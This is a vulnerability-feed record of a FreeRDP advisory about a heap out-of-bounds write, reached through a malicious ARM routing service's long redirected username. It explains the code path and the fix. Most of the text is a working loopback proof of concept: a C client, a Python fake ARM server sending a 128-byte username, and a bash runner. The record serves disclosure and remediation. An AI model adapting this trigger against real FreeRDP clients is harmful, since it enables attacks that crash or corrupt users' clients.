{"schema":"threatline.record/2","record":{"id":"GHSA-4ww8-3vqm-jgcf","aliases":["GHSA-4ww8-3vqm-jgcf"],"summary":"ARM redirected username causes a heap out-of-bounds write in FreeRDP's CLI credential prompt","details":"### Summary\r\n\r\nA malicious or compromised ARM routing service configured for a FreeRDP CLI client can return a long `redirectedUsername`. During an ARM/RDSTLS connection without an existing password, FreeRDP passes that value to the CLI credential prompt. The line helper retains the string length as its write offset but shrinks the allocation to 32 bytes, so the next input byte is written beyond the heap allocation.\r\n\r\nThe complete product replay used a bearer-authenticated ARM POST and the production `arm_fill_rdstls` -> `client_cli_authenticate_ex` -> `client_cli_read_string` -> `freerdp_interruptible_get_line` path. A 16-byte control reached the prompt without an ASan finding. A 128-byte value caused a one-byte ASan heap-buffer-overflow and terminated the instrumented client.\r\n\r\nThis does not demonstrate ordinary RDP ServerRedirection reachability, unauthenticated arbitrary-Internet reachability, attacker-selected write bytes, secret disclosure, or code execution.\r\n\r\n### Prerequisites\r\n\r\n- FreeRDP is built with ARM/AAD gateway support.\r\n- The client uses the ARM/RDSTLS gateway flow.\r\n- No password is present when credentials are requested.\r\n- The configured ARM routing response is malicious or compromised.\r\n- The user submits input at the username prompt.\r\n\r\n### Technical details\r\n\r\n`libfreerdp/core/gateway/arm.c` accepts `redirectedUsername`, stores it in `FreeRDP_RedirectionUsername`, copies it to `FreeRDP_Username`, and invokes `AuthenticateEx(..., AUTH_RDSTLS)` when the username or password is missing.\r\n\r\nIn `client/common/client.c`, `AUTH_RDSTLS` sets `queryAll=TRUE`, which causes `client_cli_read_string` to receive the non-null suggested username. That function duplicates the suggestion and passes its string length to `freerdp_interruptible_get_line`.\r\n\r\nIn `libfreerdp/utils/passphrase.c`, the helper copies the supplied size to `used`, but initializes capacity `len` to zero. When `used + 2 >= len`, it increments `len` only once by 32 and calls `realloc(ptr, len)`. For a 128-byte suggestion this shrinks the buffer to 32 bytes while leaving `used=128`; the next prompt byte is written 96 bytes beyond the allocation.\r\n\r\nThe vulnerable suggested-value behavior first shipped in 3.18.0 and remains in 3.31.1 and current `master`. No fixed release was found.\r\n\r\n### Reproduction\r\n\r\nThe sibling `poc/` directory contains a loopback-only product replay. It requires an AddressSanitizer-instrumented FreeRDP build with ARM/AAD and client-common support.\r\n\r\n```sh\r\ncd poc\r\n./run.sh SOURCE_DIR BUILD_DIR\r\n```\r\n\r\nObserved output:\r\n\r\n```text\r\nPASS control: authenticated ARM response reached AUTH_RDSTLS; no ASan finding\r\nPASS positive: 128-byte redirectedUsername caused an ASan heap-buffer-overflow\r\nPASS positive: production stack includes arm_fill_rdstls and freerdp_interruptible_get_line\r\n```\r\n\r\nThe positive case intentionally terminates the ASan-instrumented client. It uses only loopback listeners and does not contact a public service.\r\n\r\n### Remediation\r\n\r\nFix `freerdp_interruptible_get_line` so its capacity is initialized from the supplied buffer size and grows, with overflow checks, until both the next input byte and terminating NUL fit. Add boundary tests for pre-filled buffers and an end-to-end ARM `redirectedUsername` -> RDSTLS prompt regression. Bounding `redirectedUsername` is useful defense in depth but should not replace correcting the generic helper.\r\n\r\n### Portable PoC files\r\n\r\n<!-- BEGIN FILE: poc/arm_prompt_client.c -->\r\n```c\r\n#include <freerdp/freerdp.h>\r\n#include <freerdp/settings.h>\r\n#include <winpr/wlog.h>\r\n\r\n#include <inttypes.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\nextern BOOL client_cli_authenticate_ex(freerdp* instance, char** username, char** password,\r\n                                       char** domain, rdp_auth_reason reason);\r\n\r\nstatic int set_string(rdpSettings* settings, FreeRDP_Settings_Keys_String key, const char* value)\r\n{\r\n\treturn freerdp_settings_set_string(settings, key, value) ? 1 : 0;\r\n}\r\n\r\nstatic int set_bool(rdpSettings* settings, FreeRDP_Settings_Keys_Bool key, BOOL value)\r\n{\r\n\treturn freerdp_settings_set_bool(settings, key, value) ? 1 : 0;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 2)\r\n\t\treturn 64;\r\n\tchar* end = NULL;\r\n\tconst long port = strtol(argv[1], &end, 10);\r\n\tif (!end || *end || port < 1 || port > UINT16_MAX)\r\n\t\treturn 65;\r\n\tchar endpoint[64];\r\n\tif (snprintf(endpoint, sizeof(endpoint), \"127.0.0.1:%ld\", port) < 0)\r\n\t\treturn 65;\r\n\r\n\tfreerdp* instance = freerdp_new();\r\n\tif (!instance || !freerdp_context_new(instance))\r\n\t\treturn 66;\r\n\tinstance->AuthenticateEx = client_cli_authenticate_ex;\r\n\r\n\trdpSettings* settings = instance->context->settings;\r\n\tconst BYTE loadBalance[] = \"full address:s:unreachable.invalid\";\r\n\tint ok = 1;\r\n\tok &= set_string(settings, FreeRDP_ServerHostname, \"unreachable.invalid\");\r\n\tok &= freerdp_settings_set_uint32(settings, FreeRDP_ServerPort, 3389);\r\n\tok &= set_string(settings, FreeRDP_GatewayHostname, \"127.0.0.1\");\r\n\tok &= freerdp_settings_set_uint32(settings, FreeRDP_GatewayPort, (UINT32)port);\r\n\tok &= set_bool(settings, FreeRDP_GatewayEnabled, TRUE);\r\n\tok &= set_bool(settings, FreeRDP_GatewayArmTransport, TRUE);\r\n\tok &= set_bool(settings, FreeRDP_GatewayRpcTransport, FALSE);\r\n\tok &= set_bool(settings, FreeRDP_GatewayHttpTransport, FALSE);\r\n\tok &= set_bool(settings, FreeRDP_GatewayHttpUseWebsockets, FALSE);\r\n\tok &= set_bool(settings, FreeRDP_AadSecurity, FALSE);\r\n\tok &= set_bool(settings, FreeRDP_IgnoreCertificate, TRUE);\r\n\tok &= set_bool(settings, FreeRDP_CredentialsFromStdin, TRUE);\r\n\tok &= set_string(settings, FreeRDP_GatewayAzureActiveDirectory, endpoint);\r\n\tok &= set_string(settings, FreeRDP_GatewayHttpExtAuthBearer, \"test-access-token\");\r\n\tok &= set_string(settings, FreeRDP_RemoteApplicationProgram, \"||test-app\");\r\n\tok &= freerdp_settings_set_pointer_len(settings, FreeRDP_LoadBalanceInfo, loadBalance,\r\n\t                                       sizeof(loadBalance) - 1);\r\n\tok &= freerdp_settings_set_uint32(settings, FreeRDP_TcpConnectTimeout, 1000);\r\n\tif (!ok)\r\n\t\treturn 67;\r\n\r\n\tWLog_SetLogLevel(WLog_GetRoot(), WLOG_TRACE);\r\n\tfprintf(stderr, \"CLIENT_MARKER before_freerdp_connect\\n\");\r\n\tconst BOOL connected = freerdp_connect(instance);\r\n\tfprintf(stderr, \"CLIENT_MARKER after_freerdp_connect connected=%d last_error=0x%08\" PRIx32\r\n\t                \"\\n\",\r\n\t        connected, freerdp_get_last_error(instance->context));\r\n\tif (connected)\r\n\t\tfreerdp_disconnect(instance);\r\n\tfreerdp_context_free(instance);\r\n\tfreerdp_free(instance);\r\n\treturn connected ? 0 : 1;\r\n}\r\n```\r\n<!-- END FILE: poc/arm_prompt_client.c -->\r\n\r\n<!-- BEGIN FILE: poc/arm_prompt_server.py -->\r\n```python\r\n#!/usr/bin/env python3\r\nimport argparse\r\nimport base64\r\nimport json\r\nimport socket\r\nimport ssl\r\nimport struct\r\nfrom pathlib import Path\r\n\r\n\r\ndef read_request(connection):\r\n    data = bytearray()\r\n    while b\"\\r\\n\\r\\n\" not in data:\r\n        block = connection.recv(4096)\r\n        if not block:\r\n            break\r\n        data.extend(block)\r\n    head, _, body = bytes(data).partition(b\"\\r\\n\\r\\n\")\r\n    length = 0\r\n    for line in head.split(b\"\\r\\n\")[1:]:\r\n        if line.lower().startswith(b\"content-length:\"):\r\n            length = int(line.split(b\":\", 1)[1].strip())\r\n    while len(body) < length:\r\n        body += connection.recv(4096)\r\n    return head, body[:length]\r\n\r\n\r\ndef response(body):\r\n    return (\r\n        b\"HTTP/1.1 200 OK\\r\\nContent-Type: application/json\\r\\n\"\r\n        + f\"Content-Length: {len(body)}\\r\\nConnection: close\\r\\n\\r\\n\".encode()\r\n        + body\r\n    )\r\n\r\n\r\ndef main():\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument(\"--username-length\", type=int, required=True)\r\n    parser.add_argument(\"--cert\", required=True)\r\n    parser.add_argument(\"--key\", required=True)\r\n    parser.add_argument(\"--port\", type=int, required=True)\r\n    parser.add_argument(\"--transcript\", required=True)\r\n    args = parser.parse_args()\r\n\r\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\r\n    context.load_cert_chain(args.cert, args.key)\r\n    events = []\r\n    with socket.socket() as listener:\r\n        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n        listener.bind((\"127.0.0.1\", args.port))\r\n        listener.listen(4)\r\n        print(f\"ARM_SERVER listening port={args.port}\", flush=True)\r\n        for index in range(2):\r\n            raw, _ = listener.accept()\r\n            with context.wrap_socket(raw, server_side=True) as connection:\r\n                head, body = read_request(connection)\r\n                headers = head.decode(\"utf-8\", \"replace\")\r\n                authorization = next(\r\n                    (\r\n                        line\r\n                        for line in headers.split(\"\\r\\n\")\r\n                        if line.lower().startswith(\"authorization:\")\r\n                    ),\r\n                    None,\r\n                )\r\n                events.append(\r\n                    {\r\n                        \"index\": index + 1,\r\n                        \"headers\": headers,\r\n                        \"body\": body.decode(\"utf-8\", \"replace\"),\r\n                    }\r\n                )\r\n                if index == 0:\r\n                    payload = b\"{}\"\r\n                else:\r\n                    if authorization != \"Authorization: Bearer test-access-token\":\r\n                        raise RuntimeError(\"missing expected bearer token\")\r\n                    pem = Path(args.cert).read_text(encoding=\"ascii\")\r\n                    der = ssl.PEM_cert_to_DER_cert(pem)\r\n                    certificate = struct.pack(\"<III\", 32, 1, len(der)) + der\r\n                    encoded = base64.b64encode(certificate).decode(\"ascii\").encode(\"utf-16le\")\r\n                    payload = json.dumps(\r\n                        {\r\n                            \"gatewayLocationPreWebSocket\": \"https://unreachable.invalid/\",\r\n                            \"redirectedServerName\": \"unreachable.invalid\",\r\n                            \"redirectedServerCert\": base64.b64encode(encoded).decode(\"ascii\"),\r\n                            \"redirectedUsername\": \"A\" * args.username_length,\r\n                            \"redirectedAuthGuid\": \"00000000-0000-0000-0000-000000000000\",\r\n                        },\r\n                        separators=(\",\", \":\"),\r\n                    ).encode(\"ascii\")\r\n                connection.sendall(response(payload))\r\n                print(\r\n                    f\"ARM_SERVER request={index + 1} username_length={args.username_length}\",\r\n                    flush=True,\r\n                )\r\n    Path(args.transcript).write_text(json.dumps(events, indent=2) + \"\\n\", encoding=\"utf-8\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n```\r\n<!-- END FILE: poc/arm_prompt_server.py -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n```bash\r\n#!/usr/bin/env bash\r\nset -euo pipefail\r\n\r\nif [[ $# -ne 2 ]]; then\r\n    echo \"usage: $0 SOURCE_DIR BUILD_DIR\" >&2\r\n    exit 2\r\nfi\r\n\r\nPOC_DIR=$(cd \"$(dirname \"$0\")\" && pwd)\r\nSOURCE=$(cd \"$1\" && pwd)\r\nBUILD=$(cd \"$2\" && pwd)\r\nREVISION=$(git -c safe.directory=\"$SOURCE\" -C \"$SOURCE\" rev-parse HEAD)\r\n\r\ncase \"$REVISION\" in\r\n    7d4c92dc842ac71713095bcbac5d6c35611dcde7|\\\r\n    fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3|\\\r\n    193fe551c9925c761722f589437decf9bc81d7aa)\r\n        ;;\r\n    *)\r\n        echo \"unsupported source revision: $REVISION\" >&2\r\n        echo \"use FreeRDP 3.31.1 or one of the two inspected master revisions\" >&2\r\n        exit 1\r\n        ;;\r\nesac\r\n\r\nfind_library() {\r\n    local pattern=$1\r\n    local library\r\n    library=$(find \"$BUILD\" -type f -name \"$pattern\" -print | sort -V | tail -n 1)\r\n    if [[ -z \"$library\" ]]; then\r\n        echo \"required library not found: $pattern\" >&2\r\n        exit 1\r\n    fi\r\n    printf '%s\\n' \"$library\"\r\n}\r\n\r\nCLIENT_BUILD=${CLIENT_BUILD_DIR:-$BUILD}\r\nCLIENT_LIB=$(find \"$CLIENT_BUILD\" -type f -name 'libfreerdp-client3.so.*' -print | sort -V | tail -n 1)\r\nif [[ -z \"$CLIENT_LIB\" ]]; then\r\n    echo \"required library not found: libfreerdp-client3.so.*\" >&2\r\n    exit 1\r\nfi\r\nCORE_LIB=$(find_library 'libfreerdp3.so.*')\r\nWINPR_LIB=$(find_library 'libwinpr3.so.*')\r\nif ! readelf -d \"$CORE_LIB\" 2>/dev/null | grep -q 'libasan'; then\r\n    echo \"BUILD_DIR must contain an AddressSanitizer-instrumented FreeRDP build\" >&2\r\n    exit 1\r\nfi\r\n\r\nWORK_ROOT=${POC_WORK_ROOT:-$PWD}\r\nWORK=$(mktemp -d \"$WORK_ROOT/freerdp-arm-prompt.XXXXXX\")\r\nSERVER_PID=\r\ncleanup() {\r\n    if [[ -n \"$SERVER_PID\" ]] && kill -0 \"$SERVER_PID\" 2>/dev/null; then\r\n        kill \"$SERVER_PID\" 2>/dev/null || true\r\n        wait \"$SERVER_PID\" 2>/dev/null || true\r\n    fi\r\n    if [[ ${KEEP_ARTIFACTS:-0} == 1 ]]; then\r\n        echo \"artifacts retained in $WORK\"\r\n    else\r\n        rm -rf \"$WORK\"\r\n    fi\r\n}\r\ntrap cleanup EXIT INT TERM\r\n\r\ncc -std=c11 -O1 -g -fsanitize=address -fno-omit-frame-pointer \\\r\n    -I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n    -I\"$BUILD/include\" -I\"$BUILD/winpr/include\" \\\r\n    \"$POC_DIR/arm_prompt_client.c\" \\\r\n    \"$CLIENT_LIB\" \"$CORE_LIB\" \"$WINPR_LIB\" \\\r\n    -Wl,--allow-shlib-undefined -o \"$WORK/arm_prompt_client\"\r\n\r\nBUILD_LIBRARY_PATHS=$(find \"$BUILD\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\nCLIENT_LIBRARY_PATHS=$(find \"$CLIENT_BUILD\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\nLIBRARY_PATHS=\"$BUILD_LIBRARY_PATHS:$CLIENT_LIBRARY_PATHS\"\r\nif [[ -n ${DEPENDENCY_LIBRARY_DIR:-} ]]; then\r\n    LIBRARY_PATHS=\"$LIBRARY_PATHS:$DEPENDENCY_LIBRARY_DIR\"\r\nfi\r\nread -r CONTROL_PORT POSITIVE_PORT < <(python3 - <<'PY'\r\nimport socket\r\n\r\nsockets = []\r\nports = []\r\nfor _ in range(2):\r\n    sock = socket.socket()\r\n    sock.bind((\"127.0.0.1\", 0))\r\n    sockets.append(sock)\r\n    ports.append(sock.getsockname()[1])\r\nprint(*ports)\r\nfor sock in sockets:\r\n    sock.close()\r\nPY\r\n)\r\n\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 \\\r\n    -subj '/CN=localhost' -keyout \"$WORK/key.pem\" -out \"$WORK/cert.pem\" \\\r\n    >/dev/null 2>&1\r\n\r\nrun_case() {\r\n    local name=$1\r\n    local username_length=$2\r\n    local port=$3\r\n    local out=\"$WORK/$name\"\r\n    mkdir -p \"$out\"\r\n    python3 \"$POC_DIR/arm_prompt_server.py\" \\\r\n        --username-length \"$username_length\" --cert \"$WORK/cert.pem\" \\\r\n        --key \"$WORK/key.pem\" --port \"$port\" --transcript \"$out/arm-transcript.json\" \\\r\n        >\"$out/server.stdout\" 2>\"$out/server.stderr\" &\r\n    SERVER_PID=$!\r\n    for _ in $(seq 1 100); do\r\n        grep -q 'ARM_SERVER listening' \"$out/server.stdout\" && break\r\n        sleep 0.05\r\n    done\r\n    grep -q 'ARM_SERVER listening' \"$out/server.stdout\"\r\n\r\n    set +e\r\n    printf '\\n\\ncontrol-password\\n' | \\\r\n        env -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY \\\r\n        -u http_proxy -u https_proxy -u all_proxy \\\r\n        NO_PROXY=127.0.0.1,localhost no_proxy=127.0.0.1,localhost \\\r\n        LD_LIBRARY_PATH=\"$LIBRARY_PATHS\" SSL_CERT_FILE=\"$WORK/cert.pem\" \\\r\n        WLOG_LEVEL=TRACE ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1 \\\r\n        timeout 20s \"$WORK/arm_prompt_client\" \"$port\" \\\r\n        >\"$out/client.stdout\" 2>\"$out/client.stderr\"\r\n    printf '%s\\n' \"$?\" >\"$out/client.rc\"\r\n    for _ in $(seq 1 100); do\r\n        kill -0 \"$SERVER_PID\" 2>/dev/null || break\r\n        sleep 0.05\r\n    done\r\n    if kill -0 \"$SERVER_PID\" 2>/dev/null; then\r\n        kill \"$SERVER_PID\" 2>/dev/null || true\r\n        wait \"$SERVER_PID\" 2>/dev/null || true\r\n        printf '124\\n' >\"$out/server.rc\"\r\n    else\r\n        wait \"$SERVER_PID\"\r\n        printf '%s\\n' \"$?\" >\"$out/server.rc\"\r\n    fi\r\n    SERVER_PID=\r\n    set -e\r\n}\r\n\r\nrun_case control 16 \"$CONTROL_PORT\"\r\nrun_case positive 128 \"$POSITIVE_PORT\"\r\n\r\ngrep -q '^0$' \"$WORK/control/server.rc\"\r\ngrep -q '^0$' \"$WORK/positive/server.rc\"\r\ngrep -q 'Username:' \"$WORK/control/client.stdout\"\r\ngrep -q 'Username:' \"$WORK/positive/client.stdout\"\r\n! grep -q 'AddressSanitizer:' \"$WORK/control/client.stderr\"\r\ngrep -q 'AddressSanitizer: heap-buffer-overflow' \"$WORK/positive/client.stderr\"\r\ngrep -q 'freerdp_interruptible_get_line' \"$WORK/positive/client.stderr\"\r\ngrep -q 'arm_fill_rdstls' \"$WORK/positive/client.stderr\"\r\n\r\necho 'PASS control: authenticated ARM response reached AUTH_RDSTLS; no ASan finding'\r\necho 'PASS positive: 128-byte redirectedUsername caused an ASan heap-buffer-overflow'\r\necho 'PASS positive: production stack includes arm_fill_rdstls and freerdp_interruptible_get_line'\r\n```\r\n<!-- END FILE: poc/run.sh -->\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4ww8-3vqm-jgcf","source_modified_at":"2026-09-29T08:56:05Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.18.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4ww8-3vqm-jgcf","source_modified_at":"2026-09-29T08:56:05Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T08:56:05Z","modified_at":"2026-09-29T08:56:05Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4ww8-3vqm-jgcf","fetched_at":"2026-10-23T18:55:00.935475Z","source_modified_at":"2026-09-29T08:56:05Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T08:56:05Z","content_hash":"f58b86170b2518995fac8f1606d6ca0b12234705fbc3d575926b296742accd4b"}}
